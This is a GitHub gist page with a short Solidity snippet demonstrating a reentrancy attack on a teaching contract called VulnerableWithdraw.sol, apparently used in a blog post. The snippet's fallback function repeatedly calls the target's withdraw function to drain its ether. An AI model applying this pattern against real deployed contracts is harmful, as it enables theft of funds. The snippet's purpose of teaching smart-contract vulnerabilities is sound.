Created
September 16, 2021 12:46
-
-
Save nathan-websculpt/43947067e10c36d4c68c986e384a0a01 to your computer and use it in GitHub Desktop.
How to attack the VulnerableWithdraw.sol example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//this is called when Attackee sends Ether to this contract (Attacker) | |
fallback() external payable { | |
if(address(contractToAttack).balance >= 1 ether) { | |
contractToAttack.withdrawFromAttackee(); | |
} | |
} | |
function performAttack() external payable { | |
require(msg.value >= 1 ether); | |
contractToAttack.depositIntoAttackee{value: 1 ether}(); | |
contractToAttack.withdrawFromAttackee(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Used as an example in This Blog Post